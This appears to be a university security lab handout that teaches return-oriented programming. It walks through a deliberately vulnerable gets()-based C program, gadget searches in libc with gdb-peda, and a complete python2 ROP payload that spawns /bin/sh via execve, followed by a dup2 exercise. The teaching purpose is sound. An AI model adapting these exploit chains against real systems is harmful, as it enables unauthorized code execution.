OSDS – Laboratory 7 – ROP

1.Introduction

In previous laboratory we saw how, using a buffer overflow vulnerability, we can make a vulnerable program to run our malitious code from the stack. We also observed various protection mechanism which prevents the attack. In today's laboratory we will learn a new technique to take advantage of buffer overflow vulnerability called ROP – Return Oriented Programming.

The technique is similar with what we have discussed in the previous laboraotory. We will need a vulnerable program which must have a buffer overflow vulnerability. The major difference from the attack presented in the previous laboratory is that we will not place our malitious code on the stack, we will compound it, similar to a puzzle, from legitimate pieces of code already presented in our vulnerable program. We will use the pieces of instructions to compose our attack and we will place on the stack the addresses where those instructions are. These kinds of instructions are called gadgets.

2.Gadgets

Gadgets are pieces of code like this:

0xffffaaaa pop rdi: ret

If we put on the stack instead of our return address the address of the above instruction, a value and another instruction like below:

0xffffaaaa some_value another_instruction the program will run the instruction pop rdi, which will put in rdi register the value some_value (next value found on the stack) and after that the code will jump to another_instruction and will execute it. This way if another_instruction will be another gadget will execute that gadget and so one, this way we will create a chain of commands with which we will try to execute our malitious code.

3. Preparing the environment

To be able to analyse our program we need to install peda, a plugin for gdb which will allow us to better analyse our vulnerable program. Peda comes from Python Exploit Development Assistance.

To install peda you have to run the following commands:

```
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Also, type the following commands:
sudo
echo "source ~/peda/peda.py" >> ~/.gdbinit
this way you will register peda as a gdp plugin for root also.
```

If you do not have already git installed, please run apt-get install git.

Also make sure you disabled ASLR as we did in the previous laboratory.

4. How to search for gadgets

Now we will start to search for gadgets. Let's consider the following vulnerable code:

```
#include <stdlib.h>

#include <stdio.h>


void func()

{

        char buffer[128];

        gets(buffer);

        //dup2(1,0);

}


int main(int argc, char *argv[])

{

        int n = 0;

        while (n < 10);

        func();

        return 0;

}
```

Let's save it in a file called rop.c and compile it with:

gcc -g -O0 -fno-stack-protector -o rop rop.c -no-pie

Please pay attention we don’t compile now for 32 bits, we compile for native machine which should be 64 bit architecture. Also please see -no-pie option which tells the compiler to not produce a dynamically linked position independent executable.

After you compiled the executable, run it with:

./rop

The program will loop in while, so create another console and in the new console type the following commands:

ps -e | grep rop (you will see the pid of rop programe which already is running)

sudo

gdb

Now when gdb starts you will see it as

gdb-peda

From gdb type the command:

set variable n =11

b func

c

Now the program runs and you just made it jump out of the loop and probably it already have stopped at the breakpoint you set in function func.

Now if you type

asmsearch “pop rdi; ret” libc peda will search for gadgets pop rdi; ret in libc library which is loaded in your program. The results should be like this:

gdb-peda$ asmsearch "pop rdi; ret" libc

Searching for ASM code: 'pop rdi; ret' in: libc ranges

0x00007ffff7de8b72 : (5fc3) pop rdi; ret

0x00007ffff7de98d5 : (5fc3) pop rdi; ret

So you can see that at the address 0x00007ffff7de8b72 there is an instruction which does

pop rdi; ret

4. Preparing the attack

On x64 architectures when you call a function the parameters are passed in registers:

rdi – first parameter

rsi – second parameter

rdx – third parameter

rest of the parameters are pushed on the stack.

We want to call execve to start a command shell, meaning we want to call execve to start "/bin/sh". For this we have to make sure in rdi we will have the address where "/bin/sh" string is, in rsi we should have an array of strings where first element should be "/bin/sh" and the second should be NULL and in rdx we should have a NULL pointer for environmental variables.

Our stack around buffer will look like this:

return address

saved rbp

buffer

We will overflow buffer to overwrite the return address but doing so we will overwrite rbp also so we want to overwrite it with a valid address.

Going back to our program stopped in debugging, lets do a next (n) instruction and see how the stack looks like – we need to do a next cause we are stopped at the beginning of our function func and buffer is not yet added on the stack.

Type in gdb the following command now:

x/30x $rsp – will show 40 addresses of 64 bits from the stack, rsp being the register where the current value of the stack is held. You should get something like this:

gdb-peda$ x/30x $rsp

0x7fffffffdf00: 0x0000000000000000 0x0000000000000000

0x7fffffffdf10: 0x0000000000000000 0x0000000000000000

0x7fffffffdf20: 0x0000000000000000 0x0000000000000000

0x7fffffffdf30: 0x0000000000000000 0x0000000000000000

0x7fffffffdf40: 0x0000000000000000 0x0000000000000000

0x7fffffffdf50: 0x0000000000400040 0x0000000000f0b5ff

0x7fffffffdf60: 0x00000000000000c2 0x00007fffffffdf97

0x7fffffffdf70: 0x00007fffffffdf96 0x00000000004011dd

_____

0x7fffffffdf80: 0x00007fffffffdfb0 0x0000000000401180

0x7fffffffdf90: 0x00007fffffffe0a8 0x0000000100401050

0x7fffffffdfa0: 0x00007fffffffe0a0 0x0000000b00000000

0x7fffffffdfb0: 0x0000000000000000 0x00007ffff7de90b3

0x7fffffffdfc0: 0x00007ffff7ffc620 0x00007fffffffe0a8

0x7fffffffdfd0: 0x0000000100000000 0x0000000000401156

0x7fffffffdfe0: 0x0000000000401190 0x483b2a748b3af836

Where I crossed the line are 8 lines of 2 addresses of 8 octets so a total of 8*2*8 = 128 characters, so entire buffer. After it we have rbp - 0x00007fffffffdfb0 and after rbp we have the return address from our function func which we want to overwrite with one of our gadgets.

So, instead of our return address if we will put the following succession of code:

pop rdi; ret

buffer address

pop rsi; ret

buffer address + 8 from where the array of pointers needed for the second parameter of execve

pop rdx; pop r12; ret

NULL

NULL

address of execve function

when we return from our function func, the code will execute pop rdi; ret meaning will put in rdi register the next value on the stack which is buffer address and ret will execute the second next address from the stack which is another address of an instruction:

pop rsi;ret

and so on.

I had to put the address of pop rdx; pop r12; ret because I didn't find any gadget containing only pop rdx; ret this is why we have a NULL for rdx, a NULL for r12 and after that we put the address of execve function which should execute successfully already having the parameters loaded in rdi, rsi, rdx.

Now lets find the addresses for our gadgets. We search first for

pop rdi; ret:

gdb-peda$ asmsearch "pop rdi; ret" libc

Searching for ASM code: 'pop rdi; ret' in: libc ranges

0x00007ffff7de8b72 : (5fc3) pop rdi; ret

0x00007ffff7de98d5 : (5fc3) pop rdi; ret

0x00007ffff7dea203 : (5fc3) pop rdi; ret

0x00007ffff7dea27e : (5fc3) pop rdi; ret

0x00007ffff7dea292 : (5fc3) pop rdi; ret

……

So we can use 0x00007ffff7de8b72 as address for this gadget

gdb-peda$ asmsearch "pop rsi; ret" libc

Searching for ASM code: 'pop rsi; ret' in: libc ranges

0x00007ffff7de9529 : (5ec3) pop rsi; ret

0x00007ffff7deb59f : (5ec3) pop rsi; ret

0x00007ffff7df61a9 : (5ec3) pop rsi; ret

0x00007ffff7e060de : (5ec3) pop rsi; ret

…….

So we can use 0x00007ffff7de9529 as address for this gadget

gdb-peda$ asmsearch "pop rdx; ret" libc

Searching for ASM code: 'pop rdx; ret' in: libc ranges

Not found

We didn't find a gadget with only rdx, so we will try to find a complex gadget which still contains pop rdx so we will try another search with an extra pop command, unuseful for us, but needed to get that pop rdx:

gdb-peda$ asmsearch "pop rdx; pop ?; ret" libc

Searching for ASM code: 'pop rdx; pop ?; ret' in: libc ranges

0x00007ffff7ede371 : (5a415cc3) pop rdx; pop r12; ret

0x00007ffff7ef4c7f : (5a415cc3) pop rdx; pop r12; ret

0x00007ffff7ef9c69 : (5a415cc3) pop rdx; pop r12; ret

So we can use 0x00007ffff7ede371 as address for this gadget.

Now, lets obtain the buffer address:

gdb-peda$ p &buffer

$1 = (char (*)[128]) 0x7fffffffdf00

And also lets obtain the address for execve:

gdb-peda$ p execve

$2 = {<text variable, no debug info>} 0x7ffff7ea82f0 <execve>

So, our malformed buffer should look like this:

"/bin/sh\x00" – 8 characters, NULL terminated

"\x00\xdf\xff\xff\xff\x7f\x00\x00" – address of the buffer

"\x00\x00\x00\x00\x00\x00\x00\x00" – NULL

(128-3*8 = 104) characters of garbage – A

"\xb0\xdf\xff\xff\xff\x7f\x00\x00" – rbp

"\x72\x8b\xde\xf7\xff\x7f\x00\x00" – pop rdi; ret instead of our normal return address

"\x00\xdf\xff\xff\xff\x7f\x00\x00" – address of the buffer – rdi will get buffer address which starts with "/bin/sh\x00"

"\x29\x95\xde\xf7\xff\x7f\x00\x00" – pop rsi; ret

"\x08\xdf\xff\xff\xff\x7f\x00\x00" – buffer address + 8 from where the array of pointers for the second parameter starts

"\x71\xe3\xed\xf7\xff\x7f\x00\x00" pop rdx; pop r12; ret

"\x00\x00\x00\x00\x00\x00\x00\x00" – for rdx

"\x00\x00\x00\x00\x00\x00\x00\x00" – for r12

"\xf0\x82\xea\xf7\xff\x7f\x00\x00"

5. Mounting the attack

Practic. Comment the instruction while (n< 10) from our vulnerable executable, recompile it with

gcc -g -O0 -fno-stack-protector -o rop rop.c -no-pie

Mount the attack, first with /bin/ls, second with /bin/sh. Please explain the differences.

Hint – the command should look like:

python2 -c 'print ("/bin/sh\x00"+"\x00\xdf\xff\xff\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+104*"A"+"\xb0\xdf\xff\xff\xff\x7f\x00\x00"+"\x72\x8b\xde\xf7\xff\x7f\x00\x00"+"\x00\xdf\xff\xff\xff\x7f\x00\x00"+"\x29\x95\xde\xf7\xff\x7f\x00\x00"+"\x08\xdf\xff\xff\xff\x7f\x00\x00"+"\x71\xe3\xed\xf7\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\xf0\x82\xea\xf7\xff\x7f\x00\x00")' | ./rop

python2 -c 'print ("/bin/ls\x00"+"\x00\xdf\xff\xff\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+104*"A"+"\xb0\xdf\xff\xff\xff\x7f\x00\x00"+"\x72\x8b\xde\xf7\xff\x7f\x00\x00"+"\x00\xdf\xff\xff\xff\x7f\x00\x00"+"\x29\x95\xde\xf7\xff\x7f\x00\x00"+"\x08\xdf\xff\xff\xff\x7f\x00\x00"+"\x71\xe3\xed\xf7\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\xf0\x82\xea\xf7\xff\x7f\x00\x00")' | ./rop

Practic2. Before executing our execve function, please insert a chain of rop gadgets to execute first a dup2(1,0) function.

Hint – the malitious buffer should look like this:

Buffer

rbp

pop rdi; ret

1 – pe 8 octeti

pop rsi; ret

0 – pe 8 octeti

address dup2

pop rdi; ret

buffer address

pop rsi; ret

buffer address + 8 from where the array of pointers needed for the second parameter of execve

pop rdx; pop r12; ret

NULL

NULL

address of execve function